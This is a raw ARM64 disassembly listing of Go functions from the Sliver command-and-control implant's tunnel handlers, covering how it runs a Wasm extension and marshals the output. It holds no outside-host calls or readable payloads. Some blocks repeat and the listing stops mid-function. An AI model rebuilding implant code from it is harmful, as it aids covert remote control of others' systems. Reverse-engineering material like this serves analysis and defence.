0040f5b8ldr w4, [x27+3056]
0040f5bccbz w4, 0x40f5c4
0040f5c0b 0x40f5c8
0040f5c4
0040f5c4loc_40f5c4:
0040f5c4b 0x40f5dc
0040f5c8
0040f5c8loc_40f5c8:
0040f5c8bl runtime.gcWriteBarrier2
0040f5ccstr x3, [x25]
0040f5d0ldr x4, [x2+64]
0040f5d4str x4, [x25+8]
0040f5d8b 0x40f5dc
0040f5dc
0040f5dcloc_40f5dc:
0040f5dcstr x3, [x2+64]
0040f5e0ldr x2, [sp+200]
0040f5e4str x2, [sp+344]
0040f5e8stp xzr, xzr, [sp+320]
0040f5ecstr xzr, [sp+336]
0040f5f0stp xzr, xzr, [sp+416]
0040f5f4ldr x1, [sp+344]
0040f5f8adrp x0, 0x305000
0040f5fcadd x0, x0, 3296
0040f600bl google.golang.org/protobuf/proto.Marshal
0040f604str x0, [sp+320]
0040f608str x1, [sp+328]
0040f60cstr x2, [sp+336]
0040f610str x3, [sp+416]
0040f614str x4, [sp+424]
0040f618ldr x2, [sp+320]
0040f61cldr x3, [sp+328]
0040f620ldr x4, [sp+336]
0040f624str x2, [sp+448]
0040f628str x3, [sp+456]
0040f62cstr x4, [sp+464]
0040f630ldr x2, [sp+416]
0040f634ldr x3, [sp+424]
0040f638str x2, [sp+432]
0040f63cstr x3, [sp+440]
0040f640ldr x2, [sp+448]
0040f644ldr x3, [sp+456]
0040f648ldr x4, [sp+464]
0040f64cstr x2, [sp+80]
0040f650str x3, [sp+88]
0040f654str x4, [sp+96]
0040f658ldr x3, [sp+432]
0040f65cldr x4, [sp+440]
0040f660str x3, [sp+64]
0040f664str x4, [sp+72]
0040f668ldr x0, [sp+80]
0040f66cldr x1, [sp+88]
0040f670ldr x2, [sp+96]
0040f674ldp x29, x30, [sp-8]
0040f678add sp, sp, 480
0040f67cret x30
0040f680
0040f680loc_40f680:
0040f680stp x0, x1, [sp+8]
0040f684mov x3, x30
0040f688bl runtime.morestack_noctxt.abi0
0040f68cldp x0, x1, [sp+8]
0040f690b 0x40f070
0040f694udf 0
0040f698udf 0
0040f69cudf 0
0040f070
0040f070github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive(github.com/bishopfox/sliver/protobuf/sliverpb.ExecWasmExtensionReq * req, github.com/bishopfox/sliver/implant/sliver/extension.WasmExtension * wasm)
0040f070ldr x16, [x28+16]
0040f074sub x17, sp, 352
0040f078subs xzr, x17, x16
0040f07cb.ls 0x40f680
0040f080sub x20, sp, 480
0040f084stp x29, x30, [x20-8]
0040f088add sp, x20, 0
0040f08csub x29, sp, 8
0040f090str x0, [sp+488]
0040f094str x1, [sp+496]
0040f098stp xzr, xzr, [sp+80]
0040f09cstr xzr, [sp+96]
0040f0a0stp xzr, xzr, [sp+64]
0040f0a4adrp x0, 0x2b5000
0040f0a8add x0, x0, 1019
0040f0acmovz x1, 40
0040f0b0mov x2, xzr
0040f0b4mov x3, xzr
0040f0b8mov x4, x3
0040f0bcbl log.Printf
0040f0c0adrp x0, 0x243000
0040f0c4add x0, x0, 2048
0040f0c8bl runtime.newobject
0040f0ccstr x0, [sp+312]
0040f0d0adrp x27, 0x63c000
0040f0d4ldr w5, [x27+3056]
0040f0d8cbz w5, 0x40f0e0
0040f0dcb 0x40f0e4
0040f0e0
0040f0e0loc_40f0e0:
0040f0e0b 0x40f100
0040f0e4
0040f0e4loc_40f0e4:
0040f0e4str x0, [sp+184]
0040f0e8mov x1, x0
0040f0ecadrp x0, 0x243000
0040f0f0add x0, x0, 2048
0040f0f4bl runtime.wbZero
0040f0f8ldr x0, [sp+184]
0040f0fcb 0x40f100
0040f100
0040f100loc_40f100:
0040f100stp xzr, xzr, [x0]
0040f104stp xzr, xzr, [x0+16]
0040f108str xzr, [x0+32]
0040f10cldr x1, [sp+312]
0040f110str x1, [sp+104]
0040f114adrp x0, 0x23c000
0040f118add x0, x0, 3616
0040f11cbl runtime.newobject
0040f120str x0, [sp+304]
0040f124adrp x1, 0
0040f128add x1, x1, 2272
0040f12cstr x1, [x0]
0040f130ldr x1, [sp+496]
0040f134ldr x2, [sp+304]
0040f138ldrsb x27, [x2]
0040f13cadrp x27, 0x63c000
0040f140ldr w3, [x27+3056]
0040f144cbz w3, 0x40f14c
0040f148b 0x40f150
0040f14c
0040f14cloc_40f14c:
0040f14cb 0x40f164
0040f150
0040f150loc_40f150:
0040f150bl runtime.gcWriteBarrier2
0040f154str x1, [x25]
0040f158ldr x3, [x2+8]
0040f15cstr x3, [x25+8]
0040f160b 0x40f164
0040f164
0040f164loc_40f164:
0040f164str x1, [x2+8]
0040f168ldr x1, [sp+104]
0040f16cldr x2, [sp+304]
0040f170ldrsb x27, [x2]
0040f174adrp x27, 0x63c000
0040f178ldr w3, [x27+3056]
0040f17ccbz w3, 0x40f184
0040f180b 0x40f188
0040f184
0040f184loc_40f184:
0040f184b 0x40f19c
0040f188
0040f188loc_40f188:
0040f188bl runtime.gcWriteBarrier2
0040f18cstr x1, [x25]
0040f190ldr x3, [x2+16]
0040f194str x3, [x25+8]
0040f198b 0x40f19c
0040f19c
0040f19cloc_40f19c:
0040f19cstr x1, [x2+16]
0040f1a0ldr x0, [sp+304]
0040f1a4bl runtime.newproc
0040f1a8adrp x0, 0x243000
0040f1acadd x0, x0, 2048
0040f1b0bl runtime.newobject
0040f1b4str x0, [sp+296]
0040f1b8adrp x27, 0x63c000
0040f1bcldr w1, [x27+3056]
0040f1c0cbz w1, 0x40f1c8
0040f1c4b 0x40f1cc
0040f1c8
0040f1c8loc_40f1c8:
0040f1c8b 0x40f1e8
0040f1cc
0040f1ccloc_40f1cc:
0040f1ccstr x0, [sp+184]
0040f1d0mov x1, x0
0040f1d4adrp x0, 0x243000
0040f1d8add x0, x0, 2048
0040f1dcbl runtime.wbZero
0040f1e0ldr x0, [sp+184]
0040f1e4b 0x40f1e8
0040f1e8
0040f1e8loc_40f1e8:
0040f1e8stp xzr, xzr, [x0]
0040f1ecstp xzr, xzr, [x0+16]
0040f1f0str xzr, [x0+32]
0040f1f4ldr x1, [sp+296]
0040f1f8str x1, [sp+112]
0040f1fcadrp x0, 0x23c000
0040f200add x0, x0, 3616
0040f204bl runtime.newobject
0040f208str x0, [sp+288]
0040f20cadrp x1, 0
0040f210add x1, x1, 1696
0040f214str x1, [x0]
0040f218ldr x1, [sp+496]
0040f21cldr x2, [sp+288]
0040f220ldrsb x27, [x2]
0040f224adrp x27, 0x63c000
0040f228ldr w3, [x27+3056]
0040f22ccbz w3, 0x40f234
0040f230b 0x40f238
0040f234
0040f234loc_40f234:
0040f234b 0x40f24c
0040f238
0040f238loc_40f238:
0040f238bl runtime.gcWriteBarrier2
0040f23cstr x1, [x25]
0040f240ldr x3, [x2+8]
0040f244str x3, [x25+8]
0040f248b 0x40f24c
0040f24c
0040f24cloc_40f24c:
0040f24cstr x1, [x2+8]
0040f250ldr x1, [sp+112]
0040f254ldr x2, [sp+288]
0040f258ldrsb x27, [x2]
0040f25cadrp x27, 0x63c000
0040f260ldr w3, [x27+3056]
0040f264cbz w3, 0x40f26c
0040f268b 0x40f270
0040f26c
0040f26cloc_40f26c:
0040f26cb 0x40f284
0040f270
0040f270loc_40f270:
0040f270bl runtime.gcWriteBarrier2
0040f274str x1, [x25]
0040f278ldr x3, [x2+16]
0040f27cstr x3, [x25+8]
0040f280b 0x40f284
0040f284
0040f284loc_40f284:
0040f284str x1, [x2+16]
0040f288ldr x0, [sp+288]
0040f28cbl runtime.newproc
0040f290stp xzr, xzr, [sp+416]
0040f294ldr x1, [sp+488]
0040f298ldrsb x27, [x1]
0040f29cldr x2, [x1+24]
0040f2a0ldr x3, [x1+32]
0040f2a4ldr x1, [x1+40]
0040f2a8str x2, [sp+264]
0040f2acstr x3, [sp+272]
0040f2b0str x1, [sp+280]
0040f2b4ldr x0, [sp+496]
0040f2b8mov x4, x1
0040f2bcmov x1, x2
0040f2c0mov x2, x3
0040f2c4mov x3, x4
0040f2c8bl github.com/bishopfox/sliver/implant/sliver/extension.(*WasmExtension).Execute
0040f2ccstr w0, [sp+60]
0040f2d0str x1, [sp+416]
0040f2d4str x2, [sp+424]
0040f2d8ldr w1, [sp+60]
0040f2dcstr w1, [sp+56]
0040f2e0ldr x1, [sp+416]
0040f2e4ldr x2, [sp+424]
0040f2e8str x1, [sp+152]
0040f2ecstr x2, [sp+160]
0040f2f0ldr w1, [sp+56]
0040f2f4str w1, [sp+52]
0040f2f8ldr x1, [sp+152]
0040f2fcldr x2, [sp+160]
0040f300str x1, [sp+136]
0040f304str x2, [sp+144]
0040f308stp xzr, xzr, [sp+120]
0040f30cldr x1, [sp+136]
0040f310cbnz x1, 0x40f318
0040f314b 0x40f3e8
0040f318
0040f318loc_40f318:
0040f318stp xzr, xzr, [sp+400]
0040f31cadd x5, sp, 400
0040f320str x5, [sp+232]
0040f324ldr x5, [sp+136]
0040f328ldr x6, [sp+144]
0040f32cstr x5, [sp+216]
0040f330str x6, [sp+224]
0040f334str x5, [sp+208]
0040f338ldr x5, [sp+208]
0040f33ccbnz x5, 0x40f344
0040f340b 0x40f354
0040f344
0040f344loc_40f344:
0040f344ldr x5, [sp+208]
0040f348ldr x5, [x5+8]
0040f34cstr x5, [sp+208]
0040f350b 0x40f358
0040f354
0040f354loc_40f354:
0040f354b 0x40f358
0040f358
0040f358loc_40f358:
0040f358ldr x5, [sp+232]
0040f35cldrsb x27, [x5]
0040f360ldr x6, [sp+208]
0040f364ldr x7, [sp+224]
0040f368str x6, [x5]
0040f36cadrp x27, 0x63c000
0040f370ldr w6, [x27+3056]
0040f374cbz w6, 0x40f37c
0040f378b 0x40f380
0040f37c
0040f37cloc_40f37c:
0040f37cb 0x40f394
0040f380
0040f380loc_40f380:
0040f380bl runtime.gcWriteBarrier2
0040f384str x7, [x25]
0040f388ldr x6, [x5+8]
0040f38cstr x6, [x25+8]
0040f390b 0x40f394
0040f394
0040f394loc_40f394:
0040f394str x7, [x5+8]
0040f398ldr x2, [sp+232]
0040f39cldrsb x27, [x2]
0040f3a0b 0x40f3a4
0040f3a4
0040f3a4loc_40f3a4:
0040f3a4str x2, [sp+240]
0040f3a8orr x4, xzr, 1
0040f3acstr x4, [sp+248]
0040f3b0str x4, [sp+256]
0040f3b4adrp x0, 0x2b1000
0040f3b8add x0, x0, 369
0040f3bcmovz x1, 34
0040f3c0mov x3, x4
0040f3c4bl log.Printf
0040f3c8ldr x5, [sp+136]
0040f3ccldrsb x27, [x5]
0040f3d0ldr x5, [x5+24]
0040f3d4ldr x0, [sp+144]
0040f3d8blr x5
0040f3dcstr x0, [sp+120]
0040f3e0str x1, [sp+128]
0040f3e4b 0x40f3ec
0040f3e8
0040f3e8loc_40f3e8:
0040f3e8b 0x40f3ec
0040f3ec
0040f3ecloc_40f3ec:
0040f3ecldr x0, [sp+104]
0040f3f0bl bytes.(*Buffer).Bytes
0040f3f4str x0, [sp+376]
0040f3f8str x1, [sp+384]
0040f3fcstr x2, [sp+392]
0040f400ldr x0, [sp+112]
0040f404bl bytes.(*Buffer).Bytes
0040f408str x0, [sp+352]
0040f40cstr x1, [sp+360]
0040f410str x2, [sp+368]
0040f414adrp x0, 0x276000
0040f418add x0, x0, 480
0040f41cbl runtime.newobject
0040f420str x0, [sp+200]
0040f424adrp x27, 0x63c000
0040f428ldr w1, [x27+3056]
0040f42ccbz w1, 0x40f434
0040f430b 0x40f438
0040f434
0040f434loc_40f434:
0040f434b 0x40f454
0040f438
0040f438loc_40f438:
0040f438str x0, [sp+176]
0040f43cmov x1, x0
0040f440adrp x0, 0x276000
0040f444add x0, x0, 480
0040f448bl runtime.wbZero
0040f44cldr x0, [sp+176]
0040f450b 0x40f454
0040f454
0040f454loc_40f454:
0040f454mov x20, x0
0040f458adr x27, 16
0040f45cstp x29, x27, [sp-24]
0040f460sub x29, sp, 24
0040f464bl fn_87cf8
0040f468sub x29, sp, 8
0040f46cstr xzr, [x0+96]
0040f470ldr x1, [sp+200]
0040f474ldrsb x27, [x1]
0040f478ldr x2, [sp+376]
0040f47cldr x3, [sp+384]
0040f480ldr x4, [sp+392]
0040f484str x3, [x1+16]
0040f488str x4, [x1+24]
0040f48cadrp x27, 0x63c000
0040f490ldr w3, [x27+3056]
0040f494cbz w3, 0x40f49c
0040f498b 0x40f4a0
0040f49c
0040f49cloc_40f49c:
0040f49cb 0x40f4b4
0040f4a0
0040f4a0loc_40f4a0:
0040f4a0bl runtime.gcWriteBarrier2
0040f4a4str x2, [x25]
0040f4a8ldr x3, [x1+8]
0040f4acstr x3, [x25+8]
0040f4b0b 0x40f4b4
0040f4b4
0040f4b4loc_40f4b4:
0040f4b4str x2, [x1+8]
0040f4b8ldr x1, [sp+200]
0040f4bcldrsb x27, [x1]
0040f4c0ldr x2, [sp+352]
0040f4c4ldr x3, [sp+360]
0040f4c8ldr x4, [sp+368]
0040f4ccstr x3, [x1+40]
0040f4d0str x4, [x1+48]
0040f4d4adrp x27, 0x63c000
0040f4d8ldr w3, [x27+3056]
0040f4dccbz w3, 0x40f4e4
0040f4e0b 0x40f4e8
0040f4e4
0040f4e4loc_40f4e4:
0040f4e4b 0x40f4fc
0040f4e8
0040f4e8loc_40f4e8:
0040f4e8bl runtime.gcWriteBarrier2
0040f4ecstr x2, [x25]
0040f4f0ldr x3, [x1+32]
0040f4f4str x3, [x25+8]
0040f4f8b 0x40f4fc
0040f4fc
0040f4fcloc_40f4fc:
0040f4fcstr x2, [x1+32]
0040f500ldr x1, [sp+200]
0040f504ldrsb x27, [x1]
0040f508ldr w2, [sp+52]
0040f50cstr w2, [x1+56]
0040f510adrp x0, 0x276000
0040f514add x0, x0, 3648
0040f518bl runtime.newobject
0040f51cstr x0, [sp+192]
0040f520adrp x27, 0x63c000
0040f524ldr w1, [x27+3056]
0040f528cbz w1, 0x40f530
0040f52cb 0x40f534
0040f530
0040f530loc_40f530:
0040f530b 0x40f550
0040f534
0040f534loc_40f534:
0040f534str x0, [sp+168]
0040f538mov x1, x0
0040f53cadrp x0, 0x276000
0040f540add x0, x0, 3648
0040f544bl runtime.wbZero
0040f548ldr x0, [sp+168]
0040f54cb 0x40f550
0040f550
0040f550loc_40f550:
0040f550mov x20, x0
0040f554adr x27, 16
0040f558stp x29, x27, [sp-24]
0040f55csub x29, sp, 24
0040f560bl fn_87cf8
0040f564sub x29, sp, 8
0040f568ldr x2, [sp+192]
0040f56cldrsb x27, [x2]
0040f570ldr x3, [sp+120]
0040f574ldr x4, [sp+128]
0040f578str x4, [x2+16]
0040f57cadrp x27, 0x63c000
0040f580ldr w4, [x27+3056]
0040f584cbz w4, 0x40f58c
0040f588b 0x40f590
0040f58c
0040f58cloc_40f58c:
0040f58cb 0x40f5a4
0040f590
0040f590loc_40f590:
0040f590bl runtime.gcWriteBarrier2
0040f594str x3, [x25]
0040f598ldr x4, [x2+8]
0040f59cstr x4, [x25+8]
0040f5a0b 0x40f5a4
0040f5a4
0040f5a4loc_40f5a4:
0040f5a4str x3, [x2+8]
0040f5a8ldr x2, [sp+200]
0040f5acldrsb x27, [x2]
0040f5b0ldr x3, [sp+192]
0040f5b4adrp x27, 0x63c000
0040f5b8ldr w4, [x27+3056]
0040f5bccbz w4, 0x40f5c4
0040f5c0b 0x40f5c8
0040f5c4
0040f5c4loc_40f5c4:
0040f5c4b 0x40f5dc
0040f5c8
0040f5c8loc_40f5c8:
0040f5c8bl runtime.gcWriteBarrier2
0040f5ccstr x3, [x25]
0040f5d0ldr x4, [x2+64]
0040f5d4str x4, [x25+8]
0040f5d8b 0x40f5dc
0040f5dc
0040f5dcloc_40f5dc:
0040f5dcstr x3, [x2+64]
0040f5e0ldr x2, [sp+200]
0040f5e4str x2, [sp+344]
0040f5e8stp xzr, xzr, [sp+320]
0040f5ecstr xzr, [sp+336]
0040f5f0stp xzr, xzr, [sp+416]
0040f5f4ldr x1, [sp+344]
0040f5f8adrp x0, 0x305000
0040f5fcadd x0, x0, 3296
0040f600bl google.golang.org/protobuf/proto.Marshal
0040f604str x0, [sp+320]
0040f608str x1, [sp+328]
0040f60cstr x2, [sp+336]
0040f610str x3, [sp+416]
0040f614str x4, [sp+424]
0040f618ldr x2, [sp+320]
0040f61cldr x3, [sp+328]
0040f620ldr x4, [sp+336]
0040f624str x2, [sp+448]
0040f628str x3, [sp+456]
0040f62cstr x4, [sp+464]
0040f630ldr x2, [sp+416]
0040f634ldr x3, [sp+424]
0040f638str x2, [sp+432]
0040f63cstr x3, [sp+440]
0040f640ldr x2, [sp+448]
0040f644ldr x3, [sp+456]
0040f648ldr x4, [sp+464]
0040f64cstr x2, [sp+80]
0040f650str x3, [sp+88]
0040f654str x4, [sp+96]
0040f658ldr x3, [sp+432]
0040f65cldr x4, [sp+440]
0040f660str x3, [sp+64]
0040f664str x4, [sp+72]
0040f668ldr x0, [sp+80]
0040f66cldr x1, [sp+88]
0040f670ldr x2, [sp+96]
0040f674ldp x29, x30, [sp-8]
0040f678add sp, sp, 480
0040f67cret x30
0040f680
0040f680loc_40f680:
0040f680stp x0, x1, [sp+8]
0040f684mov x3, x30
0040f688bl runtime.morestack_noctxt.abi0
0040f68cldp x0, x1, [sp+8]
0040f690b 0x40f070
0040f694udf 0
0040f698udf 0
0040f69cudf 0
0040f070
0040f6a0
0040f6a0github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive.func2: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive.func2(void)
0040f6a0ldr x16, [x28+16]
0040f6a4sub x17, sp, 1168
0040f6a8subs xzr, x17, x16
0040f6acb.ls 0x40f8cc
0040f6b0sub x20, sp, 1296
0040f6b4stp x29, x30, [x20-8]
0040f6b8add sp, x20, 0
0040f6bcsub x29, sp, 8
0040f6c0ldr x4, [x26+8]
0040f6c4str x4, [sp+1096]
0040f6c8ldr x4, [x26+16]
0040f6ccstr x4, [sp+1104]
0040f6d0b 0x40f6d4
0040f6d4
0040f6d4loc_40f6d4:
0040f6d4b 0x40f6d8
0040f6d8
0040f6d8loc_40f6d8:
0040f6d8b 0x40f6dc
0040f6dc
0040f6dcloc_40f6dc:
0040f6dcadd x20, sp, 48
0040f6e0adr x27, 16
0040f6e4stp x29, x27, [sp-24]
0040f6e8sub x29, sp, 24
0040f6ecbl runtime.duffzero
0040f6f0sub x29, sp, 8
0040f6f4add x4, sp, 48
0040f6f8ldrsb x27, [x4]
0040f6fcb 0x40f700
0040f700
0040f700loc_40f700:
0040f700str x4, [sp+1128]
0040f704orr x4, xzr, 1024
0040f708str x4, [sp+1136]
0040f70cstr x4, [sp+1144]
0040f710add x27, sp, 1192
0040f714stp xzr, xzr, [x27]
0040f718ldr x4, [sp+1096]
0040f71cldrsb x27, [x4]
0040f720ldr x4, [x4+32]
0040f724ldrsb x27, [x4]
0040f728ldr x0, [x4]
0040f72cstr x0, [sp+1280]
0040f730ldr x1, [sp+1128]
0040f734ldr x2, [sp+1136]
0040f738ldr x3, [sp+1144]
0040f73cbl io.(*PipeReader).Read
0040f740str x0, [sp+1080]
0040f744str x1, [sp+1192]
0040f748str x2, [sp+1200]
0040f74cldr x4, [sp+1080]
0040f750str x4, [sp+1088]
0040f754str x1, [sp+1208]
0040f758str x2, [sp+1216]
0040f75cldr x4, [sp+1088]
0040f760str x4, [sp+1072]
0040f764str x1, [sp+1112]
0040f768str x2, [sp+1120]
0040f76cldr x1, [sp+1072]
0040f770ldr x2, [sp+1144]
0040f774ldr x4, [sp+1128]
0040f778subs xzr, x2, x1
0040f77cb.hs 0x40f784
0040f780b 0x40f8c4
0040f784
0040f784loc_40f784:
0040f784b 0x40f788
0040f788
0040f788loc_40f788:
0040f788str x4, [sp+1168]
0040f78cstr x1, [sp+1176]
0040f790str x2, [sp+1184]
0040f794ldr x0, [sp+1104]
0040f798mov x3, x2
0040f79cmov x2, x1
0040f7a0mov x1, x4
0040f7a4bl bytes.(*Buffer).Write
0040f7a8adrp x27, 0x612000
0040f7acldr x4, [x27+1520]
0040f7b0ldr x5, [sp+1112]
0040f7b4subs xzr, x5, x4
0040f7b8b.eq 0x40f7c0
0040f7bcb 0x40f7ec
0040f7c0
0040f7c0loc_40f7c0:
0040f7c0ldr x0, [sp+1112]
0040f7c4ldr x1, [sp+1120]
0040f7c8adrp x27, 0x612000
0040f7ccldr x2, [x27+1528]
0040f7d0bl runtime.ifaceeq
0040f7d4tbnz w0, 0, 0x40f7dc
0040f7d8b 0x40f7e8
0040f7dc
0040f7dcloc_40f7dc:
0040f7dcldp x29, x30, [sp-8]
0040f7e0add sp, sp, 1296
0040f7e4ret x30
0040f7e8
0040f7e8loc_40f7e8:
0040f7e8b 0x40f7f0
0040f7ec
0040f7ecloc_40f7ec:
0040f7ecb 0x40f7f0
0040f7f0
0040f7f0loc_40f7f0:
0040f7f0ldr x5, [sp+1112]
0040f7f4cbnz x5, 0x40f7fc
0040f7f8b 0x40f8bc
0040f7fc
0040f7fcloc_40f7fc:
0040f7fcadd x27, sp, 1152
0040f800stp xzr, xzr, [x27]
0040f804add x5, sp, 1152
0040f808str x5, [sp+1248]
0040f80cldr x5, [sp+1112]
0040f810ldr x6, [sp+1120]
0040f814str x5, [sp+1232]
0040f818str x6, [sp+1240]
0040f81cstr x5, [sp+1224]
0040f820ldr x5, [sp+1224]
0040f824cbnz x5, 0x40f82c
0040f828b 0x40f83c
0040f82c
0040f82cloc_40f82c:
0040f82cldr x5, [sp+1224]
0040f830ldr x5, [x5+8]
0040f834str x5, [sp+1224]
0040f838b 0x40f840
0040f83c
0040f83cloc_40f83c:
0040f83cb 0x40f840
0040f840
0040f840loc_40f840:
0040f840ldr x5, [sp+1248]
0040f844ldrsb x27, [x5]
0040f848ldr x6, [sp+1224]
0040f84cldr x7, [sp+1240]
0040f850str x6, [x5]
0040f854adrp x27, 0x63c000
0040f858ldr w6, [x27+3056]
0040f85ccbz w6, 0x40f864
0040f860b 0x40f868
0040f864
0040f864loc_40f864:
0040f864b 0x40f87c
0040f868
0040f868loc_40f868:
0040f868bl runtime.gcWriteBarrier2
0040f86cstr x7, [x25]
0040f870ldr x6, [x5+8]
0040f874str x6, [x25+8]
0040f878b 0x40f87c
0040f87c
0040f87cloc_40f87c:
0040f87cstr x7, [x5+8]
0040f880ldr x2, [sp+1248]
0040f884ldrsb x27, [x2]
0040f888b 0x40f88c
0040f88c
0040f88cloc_40f88c:
0040f88cstr x2, [sp+1256]
0040f890orr x4, xzr, 1
0040f894str x4, [sp+1264]
0040f898str x4, [sp+1272]
0040f89cadrp x0, 0x2aa000
0040f8a0add x0, x0, 870
0040f8a4orr x1, xzr, 24
0040f8a8mov x3, x4
0040f8acbl log.Printf
0040f8b0ldp x29, x30, [sp-8]
0040f8b4add sp, sp, 1296
0040f8b8ret x30
0040f8bc
0040f8bcloc_40f8bc:
0040f8bcb 0x40f8c0
0040f8c0
0040f8c0loc_40f8c0:
0040f8c0b 0x40f6d4
0040f8c4
0040f8c4loc_40f8c4:
0040f8c4bl runtime.panicSliceAcap
0040f8c8hint
0040f8cc
0040f8ccloc_40f8cc:
0040f8ccmov x3, x30
0040f8d0bl runtime.morestack.abi0
0040f8d4b 0x40f6a0
0040f8d8udf 0
0040f8dcudf 0
0040f6a0
0040f6a0github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive.func2: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive.func2(void)
0040f6a0ldr x16, [x28+16]
0040f6a4sub x17, sp, 1168
0040f6a8subs xzr, x17, x16
0040f6acb.ls 0x40f8cc
0040f6b0sub x20, sp, 1296
0040f6b4stp x29, x30, [x20-8]
0040f6b8add sp, x20, 0
0040f6bcsub x29, sp, 8
0040f6c0ldr x4, [x26+8]
0040f6c4str x4, [sp+1096]
0040f6c8ldr x4, [x26+16]
0040f6ccstr x4, [sp+1104]
0040f6d0b 0x40f6d4
0040f6d4
0040f6d4loc_40f6d4:
0040f6d4b 0x40f6d8
0040f6d8
0040f6d8loc_40f6d8:
0040f6d8b 0x40f6dc
0040f6dc
0040f6dcloc_40f6dc:
0040f6dcadd x20, sp, 48
0040f6e0adr x27, 16
0040f6e4stp x29, x27, [sp-24]
0040f6e8sub x29, sp, 24
0040f6ecbl runtime.duffzero
0040f6f0sub x29, sp, 8
0040f6f4add x4, sp, 48
0040f6f8ldrsb x27, [x4]
0040f6fcb 0x40f700
0040f700
0040f700loc_40f700:
0040f700str x4, [sp+1128]
0040f704orr x4, xzr, 1024
0040f708str x4, [sp+1136]
0040f70cstr x4, [sp+1144]
0040f710add x27, sp, 1192
0040f714stp xzr, xzr, [x27]
0040f718ldr x4, [sp+1096]
0040f71cldrsb x27, [x4]
0040f720ldr x4, [x4+32]
0040f724ldrsb x27, [x4]
0040f728ldr x0, [x4]
0040f72cstr x0, [sp+1280]
0040f730ldr x1, [sp+1128]
0040f734ldr x2, [sp+1136]
0040f738ldr x3, [sp+1144]
0040f73cbl io.(*PipeReader).Read
0040f740str x0, [sp+1080]
0040f744str x1, [sp+1192]
0040f748str x2, [sp+1200]
0040f74cldr x4, [sp+1080]
0040f750str x4, [sp+1088]
0040f754str x1, [sp+1208]
0040f758str x2, [sp+1216]
0040f75cldr x4, [sp+1088]
0040f760str x4, [sp+1072]
0040f764str x1, [sp+1112]
0040f768str x2, [sp+1120]
0040f76cldr x1, [sp+1072]
0040f770ldr x2, [sp+1144]
0040f774ldr x4, [sp+1128]
0040f778subs xzr, x2, x1
0040f77cb.hs 0x40f784
0040f780b 0x40f8c4
0040f784
0040f784loc_40f784:
0040f784b 0x40f788
0040f788
0040f788loc_40f788:
0040f788str x4, [sp+1168]
0040f78cstr x1, [sp+1176]
0040f790str x2, [sp+1184]
0040f794ldr x0, [sp+1104]
0040f798mov x3, x2
0040f79cmov x2, x1
0040f7a0mov x1, x4
0040f7a4bl bytes.(*Buffer).Write
0040f7a8adrp x27, 0x612000
0040f7acldr x4, [x27+1520]
0040f7b0ldr x5, [sp+1112]
0040f7b4subs xzr, x5, x4
0040f7b8b.eq 0x40f7c0
0040f7bcb 0x40f7ec
0040f7c0
0040f7c0loc_40f7c0:
0040f7c0ldr x0, [sp+1112]
0040f7c4ldr x1, [sp+1120]
0040f7c8adrp x27, 0x612000
0040f7ccldr x2, [x27+1528]
0040f7d0bl runtime.ifaceeq
0040f7d4tbnz w0, 0, 0x40f7dc
0040f7d8b 0x40f7e8
0040f7dc
0040f7dcloc_40f7dc:
0040f7dcldp x29, x30, [sp-8]
0040f7e0add sp, sp, 1296
0040f7e4ret x30
0040f7e8
0040f7e8loc_40f7e8:
0040f7e8b 0x40f7f0
0040f7ec
0040f7ecloc_40f7ec:
0040f7ecb 0x40f7f0
0040f7f0
0040f7f0loc_40f7f0:
0040f7f0ldr x5, [sp+1112]
0040f7f4cbnz x5, 0x40f7fc
0040f7f8b 0x40f8bc
0040f7fc
0040f7fcloc_40f7fc:
0040f7fcadd x27, sp, 1152
0040f800stp xzr, xzr, [x27]
0040f804add x5, sp, 1152
0040f808str x5, [sp+1248]
0040f80cldr x5, [sp+1112]
0040f810ldr x6, [sp+1120]
0040f814str x5, [sp+1232]
0040f818str x6, [sp+1240]
0040f81cstr x5, [sp+1224]
0040f820ldr x5, [sp+1224]
0040f824cbnz x5, 0x40f82c
0040f828b 0x40f83c
0040f82c
0040f82cloc_40f82c:
0040f82cldr x5, [sp+1224]
0040f830ldr x5, [x5+8]
0040f834str x5, [sp+1224]
0040f838b 0x40f840
0040f83c
0040f83cloc_40f83c:
0040f83cb 0x40f840
0040f840
0040f840loc_40f840:
0040f840ldr x5, [sp+1248]
0040f844ldrsb x27, [x5]
0040f848ldr x6, [sp+1224]
0040f84cldr x7, [sp+1240]
0040f850str x6, [x5]
0040f854adrp x27, 0x63c000
0040f858ldr w6, [x27+3056]
0040f85ccbz w6, 0x40f864
0040f860b 0x40f868
0040f864
0040f864loc_40f864:
0040f864b 0x40f87c
0040f868
0040f868loc_40f868:
0040f868bl runtime.gcWriteBarrier2
0040f86cstr x7, [x25]
0040f870ldr x6, [x5+8]
0040f874str x6, [x25+8]
0040f878b 0x40f87c
0040f87c
0040f87cloc_40f87c:
0040f87cstr x7, [x5+8]
0040f880ldr x2, [sp+1248]
0040f884ldrsb x27, [x2]
0040f888b 0x40f88c
0040f88c
0040f88cloc_40f88c:
0040f88cstr x2, [sp+1256]
0040f890orr x4, xzr, 1
0040f894str x4, [sp+1264]
0040f898str x4, [sp+1272]
0040f89cadrp x0, 0x2aa000
0040f8a0add x0, x0, 870
0040f8a4orr x1, xzr, 24
0040f8a8mov x3, x4
0040f8acbl log.Printf
0040f8b0ldp x29, x30, [sp-8]
0040f8b4add sp, sp, 1296
0040f8b8ret x30
0040f8bc
0040f8bcloc_40f8bc:
0040f8bcb 0x40f8c0
0040f8c0
0040f8c0loc_40f8c0:
0040f8c0b 0x40f6d4
0040f8c4
0040f8c4loc_40f8c4:
0040f8c4bl runtime.panicSliceAcap
0040f8c8hint
0040f8cc
0040f8ccloc_40f8cc:
0040f8ccmov x3, x30
0040f8d0bl runtime.morestack.abi0
0040f8d4b 0x40f6a0
0040f8d8udf 0
0040f8dcudf 0
0040f6a0
0040f8e0
0040f8e0github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive.func1: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive.func1(void)
0040f8e0ldr x16, [x28+16]
0040f8e4sub x17, sp, 1168
0040f8e8subs xzr, x17, x16
0040f8ecb.ls 0x40fb0c
0040f8f0sub x20, sp, 1296
